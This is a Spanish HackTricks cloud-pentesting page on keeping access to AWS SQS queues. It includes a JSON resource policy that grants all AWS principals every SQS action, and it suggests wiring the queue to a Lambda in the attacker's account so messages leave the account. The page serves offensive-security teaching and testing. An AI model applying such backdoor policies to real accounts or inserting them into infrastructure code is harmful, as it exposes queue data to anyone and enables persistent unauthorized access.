hacktricks-cloud/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md

AWS - SQS Persistencia

{{#include ../../../../banners/hacktricks-training.md}}

SQS

Para más información consulta:

{{#ref}} ../../aws-services/aws-sqs-and-sns-enum.md {{#endref}}

Usando política de recursos

En SQS debes indicar con una política IAM quién tiene acceso de lectura y escritura. Es posible indicar cuentas externas, ARN de roles, o incluso "*".
La siguiente política otorga a todos en AWS acceso a todo en la cola llamada MyTestQueue:

{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__owner_statement",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": ["SQS:*"],
"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
}
]
}

Note

Incluso podrías activar una Lambda en la cuenta del atacante cada vez que se coloque un nuevo mensaje en la cola (tendrías que volver a ponerlo). Para ello, sigue estas instrucciones: https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html

Más técnicas de persistencia en SQS

{{#ref}} aws-sqs-dlq-backdoor-persistence.md {{#endref}}

{{#ref}} aws-sqs-orgid-policy-backdoor.md {{#endref}}

{{#include ../../../../banners/hacktricks-training.md}}